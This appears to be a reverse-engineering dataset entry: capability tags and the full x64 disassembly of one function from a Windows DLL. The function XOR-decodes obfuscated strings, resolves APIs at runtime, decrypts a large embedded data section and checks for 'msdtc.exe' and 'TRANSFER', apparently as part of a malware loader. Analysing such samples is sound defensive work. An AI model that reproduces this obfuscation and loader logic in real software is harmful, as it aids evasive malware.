Function at 0x1800013a8
Capabilities:
Accept command line arguments
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x208]
sub rsp, 0x2f0
mov rax, qword [0x18001a008]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor r15d, r15d
mov dword [rsp + 0x40], r15d
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x50]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rdx, qword [rax]
lea rcx, [rbp - 0x48]
call fcn.180001a6c
nop
mov ebx, 0x5a348
mov dword [rbp - 0x70], ebx
mov dword [rbp - 0x6c], pe_nt_image_headers64
xor eax, eax
mov qword [rbp - 0x58], rax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
and qword [rbp - 0x58], rax
lea ecx, [rbx + 0x27]
call fcn.180001cf0
test rax, rax
je 0x180001782
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov qword [rbp - 0x68], rdi
lea r14, [rdi + 0x5a348]
mov qword [rbp - 0x58], r14
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.180003880
mov qword [rbp - 0x60], r14
movups xmm0, xmmword [str.uEAINhHOWQ]
movups xmmword [rsp + 0x50], xmm0
mov eax, dword [0x180017858]
mov dword [rsp + 0x60], eax
mov al, byte [0x18001785c]
mov byte [rsp + 0x64], al
xor r8d, r8d
lea r9, [rsp + 0x50]
mov esi, 0x51eb851f
lea ebx, [r15 + 1]
mov eax, esi
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0x15
jl 0x180001492
mov rax, qword [str.uEAIN_b]
mov qword [rsp + 0x40], rax
cmp byte [0x180017827], 0
je 0x1800014f7
xor r8d, r8d
lea r9, [rsp + 0x40]
mov eax, esi
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 8
jl 0x1800014d3
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.18000116c
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
lea rcx, [rbp - 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8d, ebx
mov edx, 0x5a348
lea rcx, section..wdata
call rax
test eax, eax
je 0x1800016a2
movsd xmm0, qword [str.qRLlINs_R_]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x180017898]
mov dword [rsp + 0x58], eax
mov al, byte [0x18001789c]
mov byte [rsp + 0x5c], al
xor r8d, r8d
lea r9, [rsp + 0x50]
mov eax, esi
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 0xd
jl 0x180001561
movsd xmm0, qword [str.wSNXJR]
movsd qword [rsp + 0x40], xmm0
mov al, byte [0x180017888]
mov byte [rsp + 0x48], al
xor r8d, r8d
lea r9, [rsp + 0x40]
mov eax, esi
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
add r8d, ebx
add r9, rbx
cmp r8d, 9
jl 0x1800015a5
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.18000116c
lea rdx, [rbp - 0x6c]
lea rcx, [rbp - 0x20]
call rax
lea rdx, str.msdtc.exe
lea rcx, [rbp - 0x48]
test eax, eax
je 0x180001736
call fcn.180001930
cmp rax, 0xffffffffffffffff
je 0x180001672
lea rdx, str.vbccsb
lea rcx, [rsp + 0x70]
call fcn.180001a6c
mov rsi, rax
mov dword [rsp + 0x40], ebx
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x50]
call fcn.180001a6c
mov rcx, rax
mov r15d, 3
mov rax, qword [rsi + 0x10]
cmp qword [rsi + 0x18], 8
jb 0x18000163d
mov rsi, qword [rsi]
mov rdx, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 8
jb 0x18000164b
mov rcx, qword [rcx]
cmp rdx, rax
jne 0x180001714
test rdx, rdx
je 0x180001672
sub rcx, rsi
movzx eax, word [rsi + rcx]
cmp ax, word [rsi]
jne 0x180001714
add rsi, 2
sub rdx, rbx
jne 0x18000165c
xor sil, sil
test r15b, 2
je 0x18000168a
and r15d, 0xfffffffd
lea rcx, [rsp + 0x50]
call fcn.180001a08
nop
test bl, r15b
je 0x180001699
lea rcx, [rsp + 0x70]
call fcn.180001a08
test sil, sil
jne 0x18000175f
xor bl, bl
test rdi, rdi
je 0x1800016dd
sub r14, rdi
mov r8, rdi
cmp r14, 0x1000
jb 0x1800016d1
add r14, 0x27
mov rdi, qword [rdi - 8]
sub r8, rdi
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x180001782
mov rdx, r14
mov rcx, rdi
call fcn.180001d2c
nop
lea rcx, [rbp - 0x48]
call fcn.180001a08
mov al, bl
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.180001cd0
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
lea rdx, str.TRANSFER
lea rcx, [rbp - 0x48]
call fcn.180001930
cmp rax, 0xffffffffffffffff
jne 0x180001672
mov sil, bl
jmp 0x180001675
call fcn.180001930
cmp rax, 0xffffffffffffffff
je 0x1800016a2
lea rdx, str.TRANSFER
lea rcx, [rbp - 0x48]
call fcn.180001930
cmp rax, 0xffffffffffffffff
jne 0x1800016a2
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x50]
call fcn.180001874
mov rcx, rax
call fcn.1800011ac
mov r14, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x68]
jmp 0x1800016a4
call fcn.180006a1c
int3